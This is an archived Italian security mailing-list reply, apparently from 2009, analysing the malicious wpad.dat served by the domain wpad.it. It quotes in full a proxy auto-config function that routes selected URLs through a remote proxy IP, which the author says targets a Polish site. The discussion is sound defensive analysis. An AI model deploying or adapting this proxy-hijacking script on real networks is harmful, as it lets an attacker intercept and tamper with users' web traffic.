[ Home | Liste | F.A.Q. | Risorse | Cerca... ]


[ Data: precedente | successivo | indice ] [ Argomento: precedente | successivo | indice ]


Archivio: Maggio 2009 ml@sikurezza.org
Soggetto: Re: [ml] Il misterioso wpad.it
Mittente: Alessandro
Data: Fri, 22 May 2009 12:09:47 +0200 (CEST)
>Ecco cosa riporta il wpad.dat del sito wpad.it

>function FindProxyForURL(url, host) {
>      //regular expression/complexity supported?
>        if ( (shExpMatch(url, "http://*g*ad*nd*c*m*sh*ds*js";)) ||
>(shExpMatch(url, "http*//*s*st*mp*tn*sk*p*") && !shExpMatch(url,
>"http*//*n*o.*")) ) { return "PROXY 72.55.164.182:80; DIRECT"; }
>        return "DIRECT";
>}

Abbiamo svolto qualche altra indagine in merito, sembra che la configurazione 
sia fatta ad hoc per attaccare un sito polacco
http://allievi.sssup.it/techblog/?p=115

saluti,
Alessandro Pignotti

-- 
Vi Veri Veniversum Vivus Vici
        -Dr. Faustus - Marlowe
Public GPG Key ID 0x3662D20D on subkeys.gpg.net
Key Fingerprint 59E6 3547 C97F 5009 01A4 B998 3D52 7F29 3662 D20D
Encrypted mails are welcome

Attachment: signature.asc
Description: This is a digitally signed message part.




[ Home | Liste | F.A.Q. | Risorse | Cerca... ]

www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005